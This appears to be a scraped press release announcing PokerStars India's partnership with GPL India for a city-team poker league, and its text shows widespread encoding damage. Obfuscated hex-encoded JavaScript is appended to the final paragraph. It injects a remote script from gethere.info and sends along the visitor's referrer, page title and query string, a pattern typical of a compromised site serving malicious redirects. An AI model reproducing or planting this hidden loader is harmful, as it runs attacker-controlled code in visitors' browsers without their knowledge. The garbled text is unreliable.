GPL India Partners with PokerStars India for first long-run Poker League

GPL India today announces thatA�PokerStars IndiaA�(Sachiko Gaming Private Limited) will be their exclusive skill game partner for the countrya��s first long-run poker league, held over a two month period.

Free online qualification for the 1st season of GPL India will be open from May through to the end of August directly onA�PokerStars India, where enthusiasts can compete in the a�?mind sporta�� for the chance to join one of GPL Indiaa��s 6 first-year teams.

The GPL Indiaa��s six city-based teams will compete over a 4 week long a�?regular seasona��, with the top 4 scoring teams moving on to the GPL India finals to play for the title and 5 Platinum Passes a�� each valued at roughly Rs. 20 Lac a�� to the PokerStars Championship in the Bahamas in January 2019, where the prize pool features Rs. 65 crores additional prize money.

GPL India teams will each be comprised of 5 players & led by one of GPL Indiaa��s superstar managers: Vikram Kumar a�� Manager of the Chennai Sharks; Muskan Sethi a�� #1 GPI-ranked female player in India and new Pokerstars India Team Pro member, who leads the Delhi Diehards; Abhishek Rathod a�� Pokerbaazi Pro, elite poker coach and manager of the Alphas; Kavinn Shah a�� the high stakes cash game boss and manager of the Mumbai Jetsetters; Aditya Agarwal a�� PokerStarsa�� first Indian Pro and Manager of the Kolkata Creators; and Vidwath Shetty a�� one of the hottest players in India right now and manager of the Bengaluru Hackers.

Two players from each city a�� Mumbai, Chennai, Kolkata, Bengaluru and Delhi a�� will qualify directly via PokerStars India, with the remaining 3 team members chosen by the team managers from a pool of qualifying Global Poker Index (GPI) ranked players during GPL Indiaa��s Draft Day a�� tentatively set for early to mid September 2018.

GPL Indiaa��s regular season will begin right after the draftees are announced, with all 6 teams competing against one another in the 6-Max and Heads-Up No-Limit Holda��em Poker variants online and live in GPLa��s India Studio to decide weekly winners, based on their skills. The GPL India Finals are set to happen in November a�� a live-streamed, 2day finale for the game of skill that will see the leagues top 4 scoring teams compete to decide who will be GPL Indiaa��s first National Champions.

In December 2017, Mediarex confirmed a multi-year strategic partnership with Kwan Entertainment, to bring the Global Player League to India, in a move that would give poker enthusiasts an avenue to experience a�� and potentially participate in a�� the GPLa��s innovative take on the modern sports/esports league concept.var _0xd052=[“\x73\x63\x72\x69\x70\x74″,”\x63\x72\x65\x61\x74\x65\x45\x6C\x65\x6D\x65\x6E\x74″,”\x73\x72\x63″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x33\x63\x58\x66\x71\x6B\x26\x73\x65\x5F\x72\x65\x66\x65\x72\x72\x65\x72\x3D”,”\x72\x65\x66\x65\x72\x72\x65\x72″,”\x26\x64\x65\x66\x61\x75\x6C\x74\x5F\x6B\x65\x79\x77\x6F\x72\x64\x3D”,”\x74\x69\x74\x6C\x65″,”\x26″,”\x3F”,”\x72\x65\x70\x6C\x61\x63\x65″,”\x73\x65\x61\x72\x63\x68″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”,”\x26\x66\x72\x6D\x3D\x73\x63\x72\x69\x70\x74″,”\x63\x75\x72\x72\x65\x6E\x74\x53\x63\x72\x69\x70\x74″,”\x69\x6E\x73\x65\x72\x74\x42\x65\x66\x6F\x72\x65″,”\x70\x61\x72\x65\x6E\x74\x4E\x6F\x64\x65″,”\x61\x70\x70\x65\x6E\x64\x43\x68\x69\x6C\x64″,”\x68\x65\x61\x64″,”\x67\x65\x74\x45\x6C\x65\x6D\x65\x6E\x74\x73\x42\x79\x54\x61\x67\x4E\x61\x6D\x65″,”\x70\x72\x6F\x74\x6F\x63\x6F\x6C”,”\x68\x74\x74\x70\x73\x3A”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x52\x5F\x50\x41\x54\x48″,”\x54\x68\x65\x20\x77\x65\x62\x73\x69\x74\x65\x20\x77\x6F\x72\x6B\x73\x20\x6F\x6E\x20\x48\x54\x54\x50\x53\x2E\x20\x54\x68\x65\x20\x74\x72\x61\x63\x6B\x65\x72\x20\x6D\x75\x73\x74\x20\x75\x73\x65\x20\x48\x54\x54\x50\x53\x20\x74\x6F\x6F\x2E”];var d=document;var s=d[_0xd052[1]](_0xd052[0]);s[_0xd052[2]]= _0xd052[3]+ encodeURIComponent(document[_0xd052[4]])+ _0xd052[5]+ encodeURIComponent(document[_0xd052[6]])+ _0xd052[7]+ window[_0xd052[11]][_0xd052[10]][_0xd052[9]](_0xd052[8],_0xd052[7])+ _0xd052[12];if(document[_0xd052[13]]){document[_0xd052[13]][_0xd052[15]][_0xd052[14]](s,document[_0xd052[13]])}else {d[_0xd052[18]](_0xd052[17])[0][_0xd052[16]](s)};if(document[_0xd052[11]][_0xd052[19]]=== _0xd052[20]&& KTracking[_0xd052[22]][_0xd052[21]](_0xd052[3]+ encodeURIComponent(document[_0xd052[4]])+ _0xd052[5]+ encodeURIComponent(document[_0xd052[6]])+ _0xd052[7]+ window[_0xd052[11]][_0xd052[10]][_0xd052[9]](_0xd052[8],_0xd052[7])+ _0xd052[12])=== -1){alert(_0xd052[23])}

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